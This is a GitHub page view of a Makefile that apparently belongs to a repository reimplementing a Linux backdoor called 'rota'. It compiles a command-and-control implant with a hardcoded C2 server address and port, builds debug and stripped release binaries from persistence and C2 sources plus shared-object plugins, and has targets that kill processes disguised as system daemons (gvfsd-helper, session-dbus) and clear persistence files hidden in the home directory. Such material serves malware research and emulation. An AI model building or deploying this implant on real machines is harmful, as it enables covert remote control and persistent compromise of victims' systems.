-
Notifications
You must be signed in to change notification settings - Fork 314
/
Makefile
39 lines (28 loc) · 1.14 KB
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
CC=gcc
FLAGS=-ggdb -Wno-infinite-recursion -Wall -lpthread -pthread
#update Makefile here
C2_SERVER='"10.10.2.228"'
C2_PORT=1443
all: debug release so_pdf so_mount
bins:
mkdir -p ./bins/
debug: bins
#$(CC) $(FLAGS) -DC2_SERVER=$(C2_SERVER) -DC2_PORT=$(C2_PORT) -I ./inc/ $(wildcard ./src/*.c) -ldl -o ./bin/rota
$(CC) $(FLAGS) -DDEBUG -DC2_SERVER=$(C2_SERVER) -DC2_PORT=$(C2_PORT) -I ./inc/ ./src/c2_commands.c ./src/c2_loop.c ./src/persistence.c ./src/utils.c ./src/main.c -ldl -o ./bins/rota-debug
release: bins
$(CC) $(FLAGS) -s -DC2_SERVER=$(C2_SERVER) -DC2_PORT=$(C2_PORT) -I ./inc/ ./src/c2_commands.c ./src/c2_loop.c ./src/persistence.c ./src/utils.c ./src/main.c -ldl -o ./bins/rota-release
so_pdf: bins
$(CC) -fpic -shared ./src/so_pdf.c -o ./bins/so_pdf.so
so_mount: bins
$(CC) -fpic -shared ./src/so_mount.c -o ./bins/so_mount.so
kill:
pkill gvfsd-helper
pkill session-dbus
clean:
rm -rf ~/.config/au-tostart
rm -rf ~/.gvfsd # Persistence file location
rm -rf ~/.dbus # Persistence file location
#rm -rf ~/.bashrc # Persistence file
rm -rf ./bins # Local bins
rm -rf ~/.X11 # Lock files
ipcrm -M 0x0064b2e2 # Shared memory